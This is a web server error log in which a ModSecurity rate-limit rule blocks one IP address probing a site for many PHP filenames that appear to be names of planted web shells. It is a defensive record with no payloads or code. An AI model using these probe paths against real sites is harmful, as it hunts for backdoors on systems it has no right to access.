[Tue May 19 03:55:00.905709 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:65217] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "agtulIQwnq2meDg4FYnhMAAAAEg"]
[Tue May 19 03:55:01.403552 2026] [:error] [pid 34690:tid 34758] [client 172.173.117.54:64444] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "agtulYQwnq2meDg4FYnhMQAAAFc"]
[Tue May 19 03:55:01.817431 2026] [:error] [pid 34689:tid 34698] [client 172.173.117.54:65202] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "agtulZWxMX-BooBZ30HAbQAAAAI"]
[Tue May 19 03:55:02.335917 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:65236] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "agtuloQwnq2meDg4FYnhMwAAAEM"]
[Tue May 19 03:55:02.764953 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:65276] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "agtuloQwnq2meDg4FYnhNQAAAEY"]
[Tue May 19 03:55:03.243997 2026] [:error] [pid 34689:tid 34720] [client 172.173.117.54:64389] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "agtul5WxMX-BooBZ30HAcAAAABg"]
[Tue May 19 03:55:03.676922 2026] [:error] [pid 34689:tid 34703] [client 172.173.117.54:64461] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "agtul5WxMX-BooBZ30HAcQAAAAc"]
[Tue May 19 03:55:04.379127 2026] [:error] [pid 34689:tid 34706] [client 172.173.117.54:62850] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "agtumJWxMX-BooBZ30HAcwAAAAo"]
[Tue May 19 03:55:04.833301 2026] [:error] [pid 34690:tid 34749] [client 172.173.117.54:62868] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa403.php"] [unique_id "agtumIQwnq2meDg4FYnhOgAAAE4"]
[Tue May 19 03:55:05.309830 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:64384] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa403.php"] [unique_id "agtumYQwnq2meDg4FYnhOwAAAEY"]
[Tue May 19 03:55:05.771270 2026] [:error] [pid 34690:tid 34746] [client 172.173.117.54:65227] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa403.php"] [unique_id "agtumYQwnq2meDg4FYnhPAAAAEs"]
[Tue May 19 03:55:06.207592 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:62942] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa403.php"] [unique_id "agtumpWxMX-BooBZ30HAdAAAABI"]
[Tue May 19 03:55:06.610636 2026] [:error] [pid 34810:tid 34825] [client 172.173.117.54:65177] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yenifm.php"] [unique_id "agtumnLwdc8JcvxViQXw2gAAAM0"]
[Tue May 19 03:55:07.013819 2026] [:error] [pid 34810:tid 34817] [client 172.173.117.54:65208] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yenifm.php"] [unique_id "agtum3Lwdc8JcvxViQXw3AAAAMU"]
[Tue May 19 03:55:07.423734 2026] [:error] [pid 34691:tid 34774] [client 172.173.117.54:64470] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yenifm.php"] [unique_id "agtum4GYsOBD9bWkFnTjNQAAAIw"]
[Tue May 19 03:55:07.974326 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:65194] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yenifm.php"] [unique_id "agtum4Qwnq2meDg4FYnhPgAAAEg"]
[Tue May 19 03:55:08.376397 2026] [:error] [pid 34689:tid 34716] [client 172.173.117.54:62921] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test11.php"] [unique_id "agtunJWxMX-BooBZ30HAeQAAABQ"]
[Tue May 19 03:55:08.913719 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:65153] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test11.php"] [unique_id "agtunHLwdc8JcvxViQXw3QAAANU"]
[Tue May 19 03:55:09.374019 2026] [:error] [pid 34691:tid 34786] [client 172.173.117.54:62885] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test11.php"] [unique_id "agtunYGYsOBD9bWkFnTjNwAAAJg"]
[Tue May 19 03:55:09.819988 2026] [:error] [pid 34690:tid 34758] [client 172.173.117.54:64440] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test11.php"] [unique_id "agtunYQwnq2meDg4FYnhQAAAAFc"]
[Tue May 19 03:55:10.214749 2026] [:error] [pid 34691:tid 34780] [client 172.173.117.54:64484] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-widget.php"] [unique_id "agtunoGYsOBD9bWkFnTjOAAAAJI"]
[Tue May 19 03:55:10.645872 2026] [:error] [pid 34689:tid 34698] [client 172.173.117.54:65175] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-widget.php"] [unique_id "agtunpWxMX-BooBZ30HAfwAAAAI"]
[Tue May 19 03:55:11.200149 2026] [:error] [pid 34690:tid 34756] [client 172.173.117.54:64438] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-widget.php"] [unique_id "agtun4Qwnq2meDg4FYnhQQAAAFU"]
[Tue May 19 03:55:11.611957 2026] [:error] [pid 34690:tid 34736] [client 172.173.117.54:62966] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-widget.php"] [unique_id "agtun4Qwnq2meDg4FYnhQgAAAEE"]
[Tue May 19 03:55:11.998976 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:62931] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/25d653587fdfd1.php"] [unique_id "agtun4Qwnq2meDg4FYnhQwAAAEY"]
[Tue May 19 03:55:12.399979 2026] [:error] [pid 34689:tid 34720] [client 172.173.117.54:59330] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/25d653587fdfd1.php"] [unique_id "agtuoJWxMX-BooBZ30HAgAAAABg"]
[Tue May 19 03:55:12.778582 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:64496] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/25d653587fdfd1.php"] [unique_id "agtuoIQwnq2meDg4FYnhRAAAAEM"]
[Tue May 19 03:55:13.185220 2026] [:error] [pid 34690:tid 34744] [client 172.173.117.54:61528] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/25d653587fdfd1.php"] [unique_id "agtuoYQwnq2meDg4FYnhRQAAAEk"]
[Tue May 19 03:55:13.565907 2026] [:error] [pid 34691:tid 34778] [client 172.173.117.54:65186] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test5.php"] [unique_id "agtuoYGYsOBD9bWkFnTjOQAAAJA"]
[Tue May 19 03:55:13.967893 2026] [:error] [pid 34691:tid 34777] [client 172.173.117.54:65192] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test5.php"] [unique_id "agtuoYGYsOBD9bWkFnTjOgAAAI8"]
[Tue May 19 03:55:14.391584 2026] [:error] [pid 34691:tid 34772] [client 172.173.117.54:62855] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test5.php"] [unique_id "agtuooGYsOBD9bWkFnTjOwAAAIo"]
[Tue May 19 03:55:14.863062 2026] [:error] [pid 34691:tid 34770] [client 172.173.117.54:62862] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test5.php"] [unique_id "agtuooGYsOBD9bWkFnTjPQAAAIg"]
[Tue May 19 03:55:15.268925 2026] [:error] [pid 34691:tid 34784] [client 172.173.117.54:62940] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mih.php"] [unique_id "agtuo4GYsOBD9bWkFnTjPgAAAJY"]
[Tue May 19 03:55:15.698487 2026] [:error] [pid 34691:tid 34782] [client 172.173.117.54:62900] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mih.php"] [unique_id "agtuo4GYsOBD9bWkFnTjQAAAAJQ"]
[Tue May 19 03:55:16.153827 2026] [:error] [pid 34691:tid 34764] [client 172.173.117.54:64491] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mih.php"] [unique_id "agtupIGYsOBD9bWkFnTjQQAAAII"]
[Tue May 19 03:55:16.701517 2026] [:error] [pid 34691:tid 34767] [client 172.173.117.54:64462] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mih.php"] [unique_id "agtupIGYsOBD9bWkFnTjQwAAAIU"]
[Tue May 19 03:55:17.100091 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:64411] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zero.php"] [unique_id "agtupZWxMX-BooBZ30HAgQAAABI"]
[Tue May 19 03:55:17.555159 2026] [:error] [pid 34690:tid 34746] [client 172.173.117.54:62923] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zero.php"] [unique_id "agtupYQwnq2meDg4FYnhRgAAAEs"]
[Tue May 19 03:55:17.990897 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:65152] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zero.php"] [unique_id "agtupZWxMX-BooBZ30HAgwAAAAg"]
[Tue May 19 03:55:18.389022 2026] [:error] [pid 34690:tid 34752] [client 172.173.117.54:65269] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zero.php"] [unique_id "agtupoQwnq2meDg4FYnhRwAAAFE"]
[Tue May 19 03:55:18.881884 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:62936] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/koala.php"] [unique_id "agtupoGYsOBD9bWkFnTjRQAAAIQ"]
[Tue May 19 03:55:19.331432 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:65191] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/koala.php"] [unique_id "agtup4Qwnq2meDg4FYnhSAAAAE8"]
[Tue May 19 03:55:19.745802 2026] [:error] [pid 34691:tid 34765] [client 172.173.117.54:61535] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/koala.php"] [unique_id "agtup4GYsOBD9bWkFnTjRgAAAIM"]
[Tue May 19 03:55:20.172636 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:62944] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/koala.php"] [unique_id "agtuqIGYsOBD9bWkFnTjRwAAAIY"]
[Tue May 19 03:55:20.582013 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:65277] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtuqHLwdc8JcvxViQXw4AAAAM4"]
[Tue May 19 03:55:20.992852 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:62960] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtuqHLwdc8JcvxViQXw4QAAANM"]
[Tue May 19 03:55:21.367732 2026] [:error] [pid 34690:tid 34737] [client 172.173.117.54:62968] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtuqYQwnq2meDg4FYnhTAAAAEI"]
[Tue May 19 03:55:21.782146 2026] [:error] [pid 34690:tid 34753] [client 172.173.117.54:64436] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtuqYQwnq2meDg4FYnhTQAAAFI"]
[Tue May 19 03:55:22.245301 2026] [:error] [pid 34689:tid 34708] [client 172.173.117.54:64456] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hayuk.php"] [unique_id "agtuqpWxMX-BooBZ30HAhgAAAAw"]
[Tue May 19 03:55:22.622720 2026] [:error] [pid 34689:tid 34711] [client 172.173.117.54:65244] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hayuk.php"] [unique_id "agtuqpWxMX-BooBZ30HAhwAAAA8"]
[Tue May 19 03:55:22.999846 2026] [:error] [pid 34691:tid 34780] [client 172.173.117.54:62874] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hayuk.php"] [unique_id "agtuqoGYsOBD9bWkFnTjSQAAAJI"]
[Tue May 19 03:55:23.429952 2026] [:error] [pid 34810:tid 34822] [client 172.173.117.54:62861] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hayuk.php"] [unique_id "agtuq3Lwdc8JcvxViQXw5gAAAMo"]
[Tue May 19 03:55:23.883946 2026] [:error] [pid 34810:tid 34817] [client 172.173.117.54:65203] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0d.php"] [unique_id "agtuq3Lwdc8JcvxViQXw6AAAAMU"]
[Tue May 19 03:55:24.279384 2026] [:error] [pid 34689:tid 34713] [client 172.173.117.54:62857] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0d.php"] [unique_id "agturJWxMX-BooBZ30HAiAAAABE"]
[Tue May 19 03:55:24.701785 2026] [:error] [pid 34690:tid 34758] [client 172.173.117.54:65235] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0d.php"] [unique_id "agturIQwnq2meDg4FYnhUgAAAFc"]
[Tue May 19 03:55:25.117449 2026] [:error] [pid 34689:tid 34715] [client 172.173.117.54:62957] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0d.php"] [unique_id "agturZWxMX-BooBZ30HAiQAAABM"]
[Tue May 19 03:55:25.557204 2026] [:error] [pid 34689:tid 34710] [client 172.173.117.54:64388] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wefile.php"] [unique_id "agturZWxMX-BooBZ30HAigAAAA4"]
